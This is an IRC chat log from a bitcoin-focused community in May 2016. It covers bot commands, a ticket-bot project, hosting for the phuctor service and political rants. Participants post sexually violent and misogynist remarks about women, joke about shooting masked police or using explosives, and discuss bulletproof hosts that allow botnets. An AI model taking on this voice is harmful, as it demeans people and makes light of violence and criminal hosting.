1472516;1464239064;asciilifeform;then it shall be done. 1472517;1464239069;mircea_popescu;it doth make the day nearer when you'll have to split it like discussed i guess. 1472518;1464239078;asciilifeform;this also 1472519;1464239090;mircea_popescu;anyway, put that faq etc in since you're on it 1472520;1464239096;asciilifeform;this also. 1472521;1464239103;asciilifeform;soon as i get back to cockpit 1472522;1464239160;asciilifeform;sooo as per my conv with ben_vulpes loooong ago, the distinct minus of asciilifeform's particular arrangement of life is that when travelling he can think of nothing but gurlx 1472523;1464239202;asciilifeform;thought mircea_popescu will find this factoid lulzy. 1472524;1464239254;mircea_popescu;why ? 1472525;1464239538;asciilifeform;https://youtu.be/AGBPTWlqfr8?t=1h51m48s << re kerner. for n00bz. 1472526;1464239548;asciilifeform;^ apparently whole thing in 1 film. 1472527;1464239837;mircea_popescu;awww look at that, goonswarm (game group of SA [sort-of the center of the ~male libtard internet, like the action movies to go with gawker&whatever, mostly famous for providing usg agent biomaterial for middle east bodybags]) has been getting raped in eve (a derpy game about "space" that mostly consists of spreadsheets. we used to have a guild there too) got raped. they lost about as much territory since 2010ish as the us los 1472528;1464239837;mircea_popescu;t influence worldwide, actually. 1472529;1464239871;asciilifeform;btw folx, kerner's a nonmirrored, proper mod. 1472530;1464239883;mircea_popescu;1024 tho 1472531;1464239887;asciilifeform;with ordinary exp too 1472532;1464239888;asciilifeform;17. 1472533;1464239895;asciilifeform;(used quite commonly) 1472534;1464239926;asciilifeform;https://sks-keyservers.net/pks/lookup?op=vindex&search=Todd+A.+Outten+%3Coutten%40kerner.com%3E 1472535;1464239945;asciilifeform;'96. 1472536;1464241767;mircea_popescu;oh, and in other lulz, http://i.imgur.com/WkP43.jpg 1472537;1464252834;Framedragger;http://btcbase.org/log/2016-05-25#1472041 << no it's just a biased summary of nelson's thought, but thanks now i learned about erik naggum 1472538;1464252834;a111;Logged on 2016-05-25 22:43 mircea_popescu: Framedragger is that a naggum quote ? 1472539;1464252887;Framedragger;http://btcbase.org/log/2016-05-26#1472357 << i've read some more logs.. heh, nice re. owning his works in dead tree format.. 1472540;1464252887;a111;Logged on 2016-05-26 02:56 asciilifeform owns the man's complete printed crackpot worx 1472541;1464258751;davout;;;seen mike_c 1472542;1464258751;gribble;mike_c was last seen in #trilema 4 weeks, 1 day, 7 hours, 31 minutes, and 8 seconds ago: at least you won the 'most famous mircea popescu' award - https://duckduckgo.com/?q=mircea+popescu 1472543;1464259934;Framedragger;;;seen artifexd 1472544;1464259935;gribble;I have not seen artifexd. 1472545;1464260044;Framedragger;http://btcbase.org/log/2015-01-07#967942 << yeah i wouldn't provide trust to ip addresses at all, but would rather negotiate ephemeral keys (for PFS, among other things)... *continues digging thru logz* 1472546;1464260044;a111;Logged on 2015-01-07 04:44 artifexd: I would think that instead of a list of ip addresses you would have a list of pubkeys and each pubkey has one (or more) ip addresses assigned to it. When you start up gossipd, it calls out to all the ip addresses in the lists and says "I'm bob, proven by this signature. Prove you are alice, with cryptoproof". If the answering box responds appropriately, 1472547;1464262811;shinohai;Is Hercule Poirot with Downs? http://btcbase.org/log/2016-05-26#1472536 1472548;1464262811;a111;Logged on 2016-05-26 05:49 mircea_popescu: oh, and in other lulz, http://i.imgur.com/WkP43.jpg 1472549;1464262924;shinohai;;;later tell mod6 Thanks for report, I like how tbot is progressing. 1472550;1464262925;gribble;The operation succeeded. 1472551;1464268984;mircea_popescu;http://btcbase.org/log/2016-05-26#1472537 << holy shitsticks, NOW you learned about naggum ?!?!?!?! 1472552;1464268984;a111;Logged on 2016-05-26 08:53 Framedragger: http://btcbase.org/log/2016-05-25#1472041 << no it's just a biased summary of nelson's thought, but thanks now i learned about erik naggum 1472553;1464268991;mircea_popescu;this republique is quite obscure. 1472554;1464269114;mircea_popescu;most argentards i talk to never heard of juan manuel de rosas either. they know all about kirschner and peron and all the other socialist shitstains. they even heard of most of the unitarios, if pushed, and well learned among their barefoot barbaric tribe. but they never ever heard of the federalists, god help 'em. 1472555;1464269235;mircea_popescu;(for the foreigner : argentina's current flag consists of a golden sun atop the flag of their version of the shitparty ; the federales were roughly speaking equivalents of the us federalist party ; their flag was the flag of artigas (vertical blue white blue diagonal upleft downright red)) 1472556;1464270011;asciilifeform;saw beggar with cat 1472557;1464270018;asciilifeform;genius 1472558;1464270021;mircea_popescu;are you live blogging ? 1472559;1464270036;asciilifeform;not quite 1472560;1464270048;asciilifeform;just noted here. 1472561;1464270087;asciilifeform;it isn't as if i went to some seekrit shamballa, other folks can come and see also. 1472562;1464270139;mircea_popescu;i'm just preparing a string of these q's for the future historians. "are you picking up chix!?" "are you fucking a dude ?!" "did you just shoot that guy ?!?!?!" 1472563;1464270147;asciilifeform;for some reason i was the only one in the crowd who tried to play with the beast 1472564;1464270165;asciilifeform;l3l 1472565;1464270193;mircea_popescu;anyone remember nick leeson these days ? 1472566;1464270199;mircea_popescu;dude ended the bank that started argentina. 1472567;1464270309;asciilifeform;mircea_popescu: is there a seekrit train in usa that ships all the ugly chix east? 1472568;1464270326;asciilifeform;because i think there must be... 1472569;1464270334;mircea_popescu;yes. it's called "the not secret train that drags all almost-not-ugly chicks to burbank" 1472570;1464270345;mircea_popescu;look up chloe sevigny, she's the ur-example for this generation. 1472571;1464270386;asciilifeform;wats in burbank..? 1472572;1464270387;mircea_popescu;so then in the hole, ugly horsefaces are sucked ; cuz for all their "journalism" and "independence" they lack autopropulsion, so they just end up where the waves push 1472573;1464270389;mircea_popescu;usually, a latrine. 1472574;1464270433;mircea_popescu;asciilifeform in burbank is the closest thing the us has to a tv station (as described in now classic thread of eysterday, http://btcbase.org/log/2016-05-25#1471909 ) 1472575;1464270433;a111;Logged on 2016-05-25 20:44 mircea_popescu: listen, romanian tv exists ~ for a single reason : so a group of like minded twentysomething chicks can advertise they're available. goes ~500 bucks unless you're very weird. 1472576;1464270542;asciilifeform;problem with this theory is that folks ~do~ propel towards d.c. - seeking to take part in great works of reich administration 1472577;1464270567;asciilifeform;and shovel the dough 1472578;1464270583;mircea_popescu;to the untrained eye, flotsam also self-propels. 1472579;1464270674;mircea_popescu;(in other unrelated lolz : an item pompously styled "european parliament" has been meeting since 1979 ; it was elected through the european equivalent of clipping cereal coupons for a magic decoder ring ; participation has been dropping EVERY TIME CONSECUTIVELY SINCE THEN, and has been under 50% for about two decades by now). 1472580;1464270732;*;asciilifeform is off to do the thing for which he came to these lands. bbl 1472581;1464274643;mircea_popescu;$up bolts 1472582;1464274645;deedbot;bolts voiced for 30 minutes. 1472583;1464280451;trinque;$google tits cunt fuck piss shit motherfucker cocksucker 1472584;1464280452;deedbot;https://en.wikipedia.org/wiki/Seven_dirty_words << Seven dirty words - Wikipedia, the free encyclopedia | https://www.youtube.com/watch?v=GE-lsNuPDd0 << Shit, piss, fuck, cunt, cocksucker, motherfucker, tits - YouTube | http://www.azlyrics.com/lyrics/blink182/familyreunion.html << BLINK 182 LYRICS - Family Reunion 1472585;1464280460;trinque;fxd 1472586;1464280532;phf;asciilifeform: there's a feeder track for pretty girls who make it to dc, and unless you're part of that circuit you're not going to interact with them much. chicago and elsewhere you're observing them in their natural habitat. untamed, grazing. 1472587;1464281677;phf;i rarely meet anybody from dc in dc, but plenty of people from ohia, illinois, .. on my recent trip to south carolina i actually got to witness The Origin Event. went to a bbq place not far from a college, monday, 4pm or so, bartenders are two girls in their 20s, there's a dc brah looking guy sitting at a bar with a track girl, both on their 4th beer and 3rd shot. guy talking at audience "yeah, i'm going to move to dc next year, i like 1472588;1464281677;phf;to go out in georgetown blah blah blah k street clubs " girl going "i looove dc, yeah, i sent my applications to AU and GWU" 1472589;1464281785;mod6;send your application to me 1472590;1464281872;mod6;:D 1472591;1464282539;phf;let her sorority sisters groom her first 1472592;1464282556;phf;it's the DC way! 1472593;1464283962;asciilifeform;phf: what's the origin event ? 1472594;1464283992;asciilifeform;trinque: neato! 1472595;1464297412;diana_coman;$rate Mafroz 1 New Euloran 1472596;1464297422;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/c6dfb72c-9afa-47ec-9724-4b8d55ef03fb/ 1472597;1464297485;diana_coman;$v 4F358166B773E6D29BAAEADBEE58925B4407969DC9A83E8A6CA58EB0AEC2BA29 1472598;1464297486;deedbot;diana_coman rated Mafroz 1 << New Euloran 1472599;1464300492;mircea_popescu;$key mafroz 1472600;1464300498;deedbot;http://wotpaste.cascadianhacker.com/r/e2446067-5457-4b03-9554-a9931f067a5f/ 1472601;1464301408;mircea_popescu;trinque nice. 1472602;1464301473;mircea_popescu;phf somehow describes a sane process. seems incredibru anything'd still work in teh usistan, but there goes. 1472603;1464301527;mircea_popescu;asciilifeform gal gotta start somewhere. 1472604;1464309121;mircea_popescu;first! 1472605;1464309382;mircea_popescu;phf hey did you know your -> last doesn't woirk unless i say "first" there first ? 1472606;1464310066;asciilifeform;aaaah finally done for the day. 1472607;1464310647;asciilifeform;aaaaaand i shit thee not, beggar chick has sign '.....small business...' 1472608;1464322834;asciilifeform;city is so.. ~alive~. 1472609;1464323497;trinque;gets better the further you are from mordor 1472610;1464323673;asciilifeform;it is astonishing, the gurlz have faces 1472611;1464323703;asciilifeform;and when i look at them they look back like humanbeings 1472612;1464324229;danielpbarron;are you at a bar asciilifeform ? 1472613;1464324530;asciilifeform;danielpbarron: nope 1472614;1464324553;asciilifeform;what made you think i was 1472615;1464324680;asciilifeform;i merely was describing some of my observations from this excursion to outside of my jail. 1472616;1464324705;asciilifeform;unfortunately it is not as easy to go out of inner jail. 1472617;1464336601;Framedragger;"unfortunately it is not as easy to go out of inner jail." << i picture here a seneca with a screwdriver 1472618;1464341726;Framedragger;$ nslookup phuctor.nosuchlabs.com 1472619;1464341726;Framedragger;nslookup phuctor.nosuchlabs.com 1472620;1464341726;Framedragger;ping $_ 1472621;1464341726;Framedragger;64 bytes from hst-46-166-165-30.balticservers.eu 1472622;1464341760;Framedragger;asciilifeform: mircea_popescu: ohey i know this hosting company :D the physical server is probably in šiauliai, a small town with good uplink heh 1472623;1464341796;Framedragger;i think i once contacted them about running a tor exit node there, they had said well if you put in your own reverse dns info for the ip block we give you then we 100% don't give a shit 1472624;1464341848;Framedragger;but mircea_popescu you of course know that lithuania is like 169% US's bitch. this was confirmed with drug market raids etc etc, but it's a generally known fact anyway. that being said, heh, cool. 1472625;1464342659;Framedragger;(^ failed paste, nslookup yields 46.166.165.30, but no diff) 1472626;1464349651;mircea_popescu;asciilifeform traveling best thing to ever happen to you huh. 1472627;1464349674;mircea_popescu;asciilifeform> what made you think i was << how excited you sounded :D 1472628;1464349751;mircea_popescu;Framedragger i honestly don't give a shit what small national governments think they're doing or not doing or whatever. "lithuania" the subject of law is as unrecognized as usg is. no relation to anything, no power to anything, they can write bluntman and chronic comics about how "it is" an' "keep it real" if they so wish. 1472629;1464349841;mircea_popescu;and speaking of which, anyone saw "chasing amy" ? the piece of shit is iiiiincredible in terms of sheer soviet propagandaness, it's basically a 1997 intro manual for how to be a "sensitive" aka dickless libtard boi. 1472630;1464349891;mircea_popescu;replete with "asa da!" / "asa nu!" miniscenes, "ask amy" cameos and all the rest of the stupid. total fucking wow. 1472631;1464349921;mircea_popescu;and, as a sad testament of just how fucking stupid usians actually are/were, it'd seem they mostly bought it, too. 1472632;1464350730;mircea_popescu;and in other lulz : fig.co (supposedly, "kickstarter for games"). 1472633;1464352680;Framedragger;mircea_popescu: yeah of course - i just meant that any LT servers cannot be considered to be "bullet-proof"; but maybe you were not aiming for the latter in terms of phuctor hosting anyway 1472634;1464353440;mircea_popescu;i am not aware of any services that can be considered bulletproof much like i'm not aware of any electoral process that can be considered representative, any computer code that can be considered correct or any fiat financial item that can be considered not a scam. 1472635;1464353716;shinohai;http://btcbase.org/log/2016-05-27#1472629 <<< Never saw, because I can't stand Joey Lauren Adams. Someone needs to sew her mouth shut with a dick in it. 1472636;1464353716;a111;Logged on 2016-05-27 11:50 mircea_popescu: and speaking of which, anyone saw "chasing amy" ? the piece of shit is iiiiincredible in terms of sheer soviet propagandaness, it's basically a 1997 intro manual for how to be a "sensitive" aka dickless libtard boi. 1472637;1464353898;mircea_popescu;which one is that ? iirc it had one of the tilly sisters in it 1472638;1464353906;mircea_popescu;whichever speaks through her nose. 1472639;1464353931;shinohai;Got to be the same woman, has the most annoying voice, was also in mallrats 1472640;1464353985;shinohai;http://www.imdb.com/name/nm0000725/ 1472641;1464354024;mircea_popescu;ow shit 1472642;1464354070;mircea_popescu;holy shit SHE was in married with children 1472643;1464354082;mircea_popescu;i was convinced the occasional slut is also one of teh tilly sisters 1472644;1464354083;mircea_popescu;wowza. 1472645;1464354147;mircea_popescu;anyway ; they all look ~same 1472646;1464354312;*;BingoBoingo discovered a new word cleaning pending qntra comments: legix! As in Mt Gox was the most legix exchange. 1472647;1464354324;shinohai;lol 1472648;1464354426;BingoBoingo;Legix can be many things, but legix is mostly not legit. 1472649;1464354775;BingoBoingo;Actually let's define Legix: 1. Could be many things, but legix is most pointedly not legit 1472650;1464354874;BingoBoingo;Legit comments on a totally legix image macro https://i.sli.mg/NXfIun.png 1472651;1464354931;Framedragger;"i am not aware of any services that can be considered bulletproof much like i'm not aware of any electoral process that can be considered representative, any computer code that can be considered correct or any fiat financial item that can be considered not a scam." << i see your point and i agree, however it's probably not "all of the same"; 1472652;1464354932;Framedragger;"i am not aware of any services that can be considered bulletproof much like i'm not aware of any electoral process that can be considered representative, any computer code that can be considered correct or any fiat financial item that can be considered not a scam." << i see your point and i agree, however it's probably not "all of the same"; e.g. 2x4.ru have a reputation of being more hardcore; i know this sounds naive and it probably i 1472653;1464354937;Framedragger;e.g. 2x4.ru have a reputation of being more hardcore; i know this sounds naive and it probably is, but i've heard this from trustable sysadmins running, er, shadier stuff. this is of course anecdotal and it's naive to trust someone with your hardware anyway. 1472654;1464354943;Framedragger;sorry 4 spam 1472655;1464354986;BingoBoingo;That apology sounds legix. 1472656;1464355058;Framedragger;BingoBoingo: u what m8 1472657;1464355111;BingoBoingo;I am adds to tmsr.vocab not the word we want, but the word we need. 1472658;1464355143;*;shinohai proposes entry into wiki under `venacular` . 1472659;1464355168;Framedragger;anecdotal case in point (hey it's amusing): http://www.webhostingtalk.com/showthread.php?t=859747&p=6761371#post6761371 1472660;1464355406;Framedragger;stephen: BOTNET ARE ILLEGAL AND YOUR COMPANY MUST NOT HOST SUCH CLIENTS 1472661;1464355406;Framedragger;Live Support | Thomas: we allow botnets. 1472662;1464355406;Framedragger;stephen: excusme ? you must be joking 1472663;1464355406;Framedragger;Live Support | Thomas: Yes, sure, we allow. Give us money and we host you and we will **** the german police 1472664;1464355431;mircea_popescu;nulla pula sine legix! 1472665;1464355438;BingoBoingo;;;ticker --market all --currency rmb 1472666;1464355448;gribble;BTCChina BTCRMB last: 3271.55, vol: 62094.65320000 | Volume-weighted last average: 3271.55 1472667;1464355472;mircea_popescu;Framedragger what do you mean "it's not all the same" ? it IS all the same ; what's gonna happen, they're going to get a supoena and they're going to say fuck you, and shoot the issuing judge ? 1472668;1464355512;mircea_popescu;see also http://trilema.com/2014/the-problem-of-enforcement/ 1472669;1464355558;mircea_popescu;that's the whole point : that until and unless ~we~ actulaly do a thing, all the other things are EXACTLY all the same. 1472670;1464355608;mircea_popescu;or, as the classical expression goes, vanitas vanitatum. 1472671;1464355765;mircea_popescu;(and yes, the classical imprecation to not build yourself fortunes/castles/a life atop the vanities of the fiat world ; but instead collect your fortune, house and life in the WoT stands quite exactly.) 1472672;1464355797;mircea_popescu;that's the ultimate meaning of all the christian blundering to date : they were trying to build the republic and had nfi. 1472673;1464355917;Framedragger;fair enough. but i also tell you that there are hosting providers which say fuck you to LE of specific states; but ultimately it boils down to the same security question: "how important are you?" - if you're important enough then sentimentalities of sysadmins will be ignored. 1472674;1464355939;mircea_popescu;and there are wolves that don't eat your sheep. nice. 1472675;1464357651;mircea_popescu; if you're important enough then sentimentalities of sysadmins will be ignored. << this, incidentally, isn't a matter of neglect ; it is a matter of design. consider it works exactly as a sort of "training for unimportance". 1472676;1464357665;mircea_popescu;whole matter ties right into why i do not consider anonymity a valid approach. 1472677;1464357746;mircea_popescu;otherwise, if you go by this currently fashionable "i'll aim to be nobody and call it privacy ; and to do nothing worth the mention and call it security", the only certainty is that you'll be nobody and have done nothing, which is exactly the fucking purpose of the socialist state - death in your time. 1472678;1464357781;mircea_popescu;the correct, if obviously harder, path is to be someone AND do something. and if they bitch, escalate, indefinitely. 1472679;1464357795;mircea_popescu;odds are you'll get killed ; but the only certainty is the socialist state won't survive. 1472680;1464358201;Framedragger;yeah. i mean one day i'll grow balls and get out of my comfort zone of sorta-pseudo-anonymity. your points are valid here, even though i think it's possible to do useful/productive work under pseudo/anonymity. this doesn't work if you require the *world* to recognize your awesomeness, of course :) 1472681;1464358246;Framedragger;but it's possible to maintain stable pseudo identities in groups of people wherein those identities are recognized for what they do; etc etc. 1472682;1464358617;mircea_popescu;sure ; this says nothing of pseudonymity. 1472683;1464358678;BingoBoingo;Framedragger: Pseudonymity is different. You ARE the pseudonym. 1472684;1464358681;mircea_popescu;all "identity" is pseudonimity/ 1472685;1464358686;Framedragger;hm, yeah. 1472686;1464358702;Framedragger;right you are; i was mixing the terms to further my point 1472687;1464358721;Framedragger;true anonymity kinda sux in terms of achievement. 1472688;1464358750;mircea_popescu;see, but any construction of identity in terms other than pseudonimity (such as, "issuing" of "id" as opposed to generating rsa key) is merely a ploy by the socialist state, designed specifically to introduce a red herring in the conversation. 1472689;1464358751;Framedragger;s/achievement/just getting things done/ 1472690;1464358776;Framedragger;designed to introduce an external implicit trust node 1472691;1464358778;Framedragger;right. 1472692;1464358778;mircea_popescu;they aim to misrepresent the pseudonimity-anonimity debate as governmentidentity-anonimity, and thus change the result. 1472693;1464358807;mircea_popescu;much like when they want obama to win, they propose a contest between obama and another identical fucktard, rather than between obama and someone who isn't a system fucktard. 1472694;1464358865;mircea_popescu;Framedragger there's some minimal gains via anonimous systems (see the whole anon/loic/times man of the year/blabla stuff). it is juvenile. 1472695;1464358879;mircea_popescu;it is in fact right and proper for the juvenile to be anon and then graduate to wot. 1472696;1464358885;BingoBoingo;And news for alfs http://qntra.net/2016/04/phuctor-returns-vastly-improved/#comment-59629 1472697;1464358912;BingoBoingo; it is in fact right and proper for the juvenile to be anon and then graduate to wot. << AHA, College! 1472698;1464359244;mircea_popescu;hey mike_c ? 1472699;1464359257;mircea_popescu;god damned it, writing piece for qntra, can't link to btcalpha profiles because well... it dun exist. 1472700;1464361041;deedbot;[Qntra] Spain (WOT:nonperson) Raid And Arrests Mining Farm Operators - http://qntra.net/2016/05/spain-wotnonperson-raid-and-arrests-mining-farm-operators/ 1472701;1464361161;deedbot;[Recent Phuctorings.] Phuctored: 5391673272318505738681 divides RSA Moduli belonging to 'Lou Anschuetz ; ' - http://phuctor.nosuchlabs.com/gpgkey/8BE6D699C631055360A2B55CD6AAEBAAC1C91F872E97936AC73A1790F694079B 1472702;1464361166;mircea_popescu;30k worth of "bitcoin mining centers" ?! wtf. 1472703;1464361404;mircea_popescu;865159723 is a prime (the 44`318`624th) newly found nao. 1472704;1464361498;asciilifeform;mircea_popescu: eh snore, mirrored mod 1472705;1464361523;mircea_popescu;yeah, just keeping track of teh 8ball myself :) 1472706;1464361560;asciilifeform;lolk 1472707;1464361656;trinque;man somebody needs to drop adlai in the desert with an airstream full of water and food until he's fully detoxed 1472708;1464361666;trinque;there, I just started the republic's first rehab 1472709;1464361743;mircea_popescu;you suspect he'd be perfectly fine if only hadn't the misfortune of his compatriots being around ? 1472710;1464361769;asciilifeform;trinque: sign me up also! 1472711;1464361775;asciilifeform;in another desert 1472712;1464361781;asciilifeform;(though i'd prefer tundra) 1472713;1464361790;mircea_popescu;bear will eat you alf. 1472714;1464361796;BingoBoingo;trinque: Nah, pretty sure I started republic's first rehab. Or maybe caz. Even mp's work reforming USian college victims might count as first rehab. 1472715;1464361803;asciilifeform;mircea_popescu: i'd rather be eaten there than here. 1472716;1464361812;trinque;BingoBoingo: heh point 1472717;1464361813;asciilifeform;(being eaten is apparently not optional) 1472718;1464361821;BingoBoingo;asciilifeform: Y you not like chicago for eating by bear? 1472719;1464361830;mircea_popescu;i'd prefer the term re-slut. 1472720;1464361846;shinohai;;;later tell mod6 new `t` changes working a-ok with zero bugz 1472721;1464361846;gribble;The operation succeeded. 1472722;1464361876;trinque;mircea_popescu: perhaps fine if not for years of rotating pharmaceuticals 1472723;1464361902;asciilifeform;i had a dream last night that i went to an open air dope market 1472724;1464361910;asciilifeform;and couldn't decide among many colourful dopes 1472725;1464361920;asciilifeform;triangular, octagonal, pentagonal pillz, etc 1472726;1464361926;asciilifeform;i had nfi what they did 1472727;1464361934;trinque;it must've been weird dream night; mine was buying old computer parts in a dystopian curio shop 1472728;1464361935;asciilifeform;but couldn't decide which one to take, and so ate none 1472729;1464362554;deedbot;[Qntra] Interview With Cock.li Email Service Founder Vincent Canfield - http://qntra.net/2016/05/interview-with-cock-li-email-service-founder-vincent-canfield/ 1472730;1464362742;asciilifeform;snore logz reprint 1472731;1464362756;shinohai;https://theconversation.com/how-did-public-bathrooms-get-to-be-separated-by-sex-in-the-first-place-59575 1472732;1464362798;mircea_popescu;that "supoena" thing is a true wonder. 1. issued by police dept ? 2. "this is authorized" ? by who the fuck is it authorized, have the adult in charge sign for you. 1472733;1464362806;mircea_popescu;1, police state plaza, new york ? 1472734;1464362812;BingoBoingo;lol 1472735;1464362818;mircea_popescu;anyone even saw that orwellian nightmare of a sovietism ? 1472736;1464362856;asciilifeform;'can't have a police state without police' (tm) (r) (al schwartz) 1472737;1464362890;asciilifeform;idk why they even bother with the wasted paper 1472738;1464362903;asciilifeform;it is rather like having bear break into a song and dance before eating tourist 1472739;1464362903;mircea_popescu;im pretty sure this was a pdf. 1472740;1464362926;mircea_popescu;for maximal lulz, return pdf subpoenas, "unreadable proprietary format - please resend in latex". 1472741;1464362929;asciilifeform;sure but still, why the legalizms. 1472742;1464362940;asciilifeform;what does it change. 1472743;1464362946;asciilifeform;why not just bust door and skull. 1472744;1464362959;mircea_popescu;because money asciilifeform 1472745;1464362969;asciilifeform;it isn't as if the pretense the legalism was meant to uphold has any life remaining in it. 1472746;1464362979;mircea_popescu;hence http://btcbase.org/log/2016-05-27#1472679 1472747;1464362979;a111;Logged on 2016-05-27 14:03 mircea_popescu: odds are you'll get killed ; but the only certainty is the socialist state won't survive. 1472748;1464362992;asciilifeform;what money. nsa pays moar lawyers than programmers. 1472749;1464362999;mircea_popescu;it has TONS of life in it. notice how it works, intellectually, exactly on the same framework as spam email. 1472750;1464362999;asciilifeform;why not cut out the dead weight. 1472751;1464363003;mircea_popescu;"this has been authorized" 1472752;1464363004;mircea_popescu;orly ? 1472753;1464363046;asciilifeform;mircea_popescu: nothing fantastic, usg lawyer is not 'liberal profession' but a type of clerk. 1472754;1464363051;asciilifeform;they are legion. 1472755;1464363058;mircea_popescu;hm ? 1472756;1464363080;asciilifeform;sorta like police judge's relation to actual judgw 1472757;1464363083;asciilifeform;*judge 1472758;1464363182;mircea_popescu;note that it also misses pretty much everyting : the badge/id number of responsible agent is missing, there's no direct contact phone, etc. 1472759;1464363231;asciilifeform;isn't that an elementary part of mircea_popescu's observation re 'usg corporate shield that you must break and re-personalize the interaction' 1472760;1464363244;asciilifeform;naturally policeman doesn't introduce himself by name 1472761;1464363253;mircea_popescu;but he is required to do so by law an' regulation. 1472762;1464363259;asciilifeform;consider how when they break down a door, they wear masks 1472763;1464363262;asciilifeform;like any other bandit. 1472764;1464363276;asciilifeform;like stereotypical executioner 1472765;1464363281;mircea_popescu;otherwise... a piece of pdf reading "supoena" is not distinguishable or to be distinguished from an email reading "you have won the google intel microsoft award" 1472766;1464363297;mircea_popescu;and the policy is to shoot masked people breaking down doors. 1472767;1464363302;asciilifeform;mircea_popescu: the idea is that it is distinguished by the crashing sound as 50 heavily armed bandits break in 1472768;1464363304;mircea_popescu;like any other bandit. 1472769;1464363310;asciilifeform;shoot, shoot 1472770;1464363337;asciilifeform;(imho you will get better mileage with high explosive, and ~same chance of survival) 1472771;1464363367;mircea_popescu;point security measure left at the discretion of point sovereign. 1472772;1464363496;asciilifeform;sure. 1472773;1464363637;mircea_popescu;also, ro policement at least do introduce self by name. 1472774;1464363672;asciilifeform;mircea_popescu: usa police have 2 basic modes of operation 1472775;1464363685;asciilifeform;one is the kind with the masks and smoke grenades 1472776;1464363689;asciilifeform;and no introductions. 1472777;1464364579;BingoBoingo;asciilifeform: There's the action you are forgetting when you casually meet the on the street and bitch about Obama together over cigarettes. 1472778;1464364682;asciilifeform;BingoBoingo: didja miss the 'don't talk to cops!111' memo. 1472779;1464364809;BingoBoingo;How else do you find out why the closed the road you wanted to take other than by asking them. 1472780;1464364901;asciilifeform;BingoBoingo: where i live they will reply with grunts, like the soldiers in 'wolfenstein'. 1472781;1464364994;BingoBoingo;Well don't live there. Maybe try asking Chicago cop which where you get the best hotdogs in town? Throw out how you think this just might be the Cubs year to win it all. Chances are he'll talk like a person and leak intel. 1472782;1464365033;BingoBoingo;That or abduct you to their blacksite. Chicago PD can be unpredictable. 1472783;1464365079;shinohai;http://btcbase.org/log/2016-05-27#1472780 <<< DOS nostalgia incoming 1472784;1464365079;a111;Logged on 2016-05-27 16:01 asciilifeform: BingoBoingo: where i live they will reply with grunts, like the soldiers in 'wolfenstein'. 1472785;1464365343;asciilifeform;yer rubbin' it in BingoBoingo 1472786;1464365381;*;asciilifeform has most of a day before going back to the swamplandz 1472787;1464365461;*;BingoBoingo can't wait until alf visits non-Chicago middle West 1472788;1464365480;asciilifeform;BingoBoingo: what do visit there? corn ? 1472789;1464365489;asciilifeform;i suppose i could have tea with BingoBoingo 1472790;1464365491;asciilifeform;but what else. 1472791;1464365513;BingoBoingo;asciilifeform: Smaller cities like St Louis, Kansas City, Milwauke, and yes the corn. 1472792;1464365680;ben_vulpes;asciilifeform: "talking to cops" is not "drinking with cops" 1472793;1464365941;mod6;anyone wanna help me test the cmd line version of t.pl? 1472794;1464366036;mod6;oh nevermind, i think shinohai has it covered. totally didn't see that. 1472795;1464366259;*;asciilifeform misread as 'talking to corn' 1472796;1464366265;*;asciilifeform not yet ready for talking to corn 1472797;1464366296;trinque;but asciilifeform... they're all ears 1472798;1464366300;*;trinque takes his demerit 1472799;1464366347;asciilifeform;i oughta ask adlai what pill to take so that the corn will ~listen~. 1472800;1464366371;shinohai;Corn is a good listener imo 1472801;1464366448;asciilifeform;anyway i like ~actual cities~ 1472802;1464366475;mod6;so I think, hopefully sometime today, i'll send out t.pl to the ML as is - however i don't really expect anyone to use t.pl themselves. sending it to the ML for more of posterity purposes. 1472803;1464366507;mod6;people will be expected to interact {add,edit,remove,view} tickets through tbot - which is probably .. eh, 70% complete. 1472804;1464366515;mod6;maybe 80%. 1472805;1464366524;shinohai;Can i break it again? :D 1472806;1464366585;ben_vulpes;trinque: lol 1472807;1464366719;mod6;shinohai: heh, hopefully by the time we're done there it'll hold together. 1472808;1464366886;mod6;we're pretty close to the first testing of it in here -- have some loose ends to tie up (the remaining ~20%). if history is any guide, there will be more to do as change requests, etc. but at least we'll have somethign that works. 1472809;1464367392;trinque;man do I love the model of bot services as compared to "web apps" 1472810;1464367406;trinque;command line > * 1472811;1464367446;shinohai;^ 1472812;1464367447;trinque;you ask me to do something, and hell, I might. but when I get to it. 1472813;1464367587;mod6;trinque: totally 1472814;1464368465;mircea_popescu;http://btcbase.org/log/2016-05-27#1472797 << ahahahaha o god i laughed so hard 1472815;1464368465;a111;Logged on 2016-05-27 16:24 trinque: but asciilifeform... they're all ears 1472816;1464368527;mircea_popescu;http://btcbase.org/log/2016-05-27#1472809 << word. 1472817;1464368527;a111;Logged on 2016-05-27 16:43 trinque: man do I love the model of bot services as compared to "web apps" 1472818;1464371573;deedbot;[Trilema] The great "law enforcement" article - http://trilema.com/2016/the-great-law-enforcement-article/ 1472819;1464376160;phf;$s from:mircea dog 1472820;1464376160;a111;226 results for "from:mircea dog", http://btcbase.org/log-search?q=from%3Amircea%20dog 1472821;1464376174;mircea_popescu;yay! 1472822;1464376180;mircea_popescu;$s urmom 1472823;1464376181;a111;64 results for "urmom", http://btcbase.org/log-search?q=urmom 1472824;1464376188;mircea_popescu;win 1472825;1464376197;mircea_popescu;$s from:asc grep like 1472826;1464376197;a111;2 results for "from:asc grep like", http://btcbase.org/log-search?q=from%3Aasc%20grep%20like 1472827;1464376203;mircea_popescu;$s from:asc like grep 1472828;1464376204;a111;2 results for "from:asc like grep", http://btcbase.org/log-search?q=from%3Aasc%20like%20grep 1472829;1464376214;mircea_popescu;take THAT alfie! 1472830;1464376224;trinque;sweet! 1472831;1464376234;mircea_popescu;$google tumblr whores 1472832;1464376245;deedbot;http://whores-bible.tumblr.com/ << Where Whores Come to Worship | http://whoresmilfsdegraded.tumblr.com/ << Whores & Milfs Degraded | http://slut-choker.tumblr.com/ << Sluts whores and cum buckets 1472833;1464376254;mircea_popescu;xanadu! 1472834;1464376288;phf;does word boundaries too, though since i don't know how to do it properly word boundaries are an explicit set of characters from ASCII. 1472835;1464376294;shinohai;\o/ 1472836;1464376340;mircea_popescu;what do you mean "does word boundaries" ? 1472837;1464376347;hanbot;hey mircea_popescu looks like you're big in taiwan http://www.alexa.com/siteinfo/http%3A%2F%2Ftrilema.com 1472838;1464376366;mircea_popescu;eh alexa, whadda they know. 1472839;1464376409;phf;mircea_popescu: if you search for dog it will match for "dog," "bee-dog" "(dog)" and such, but not "dogma" nor "dogсобака" 1472840;1464376422;mircea_popescu;mmm 1472841;1464376434;mircea_popescu;ok! 1472842;1464376451;phf;grep is still there, and will basically remain as such by doing `"dog"` 1472843;1464376459;phf;$s "dog" 1472844;1464376460;a111;2539 results for "\"dog\"", 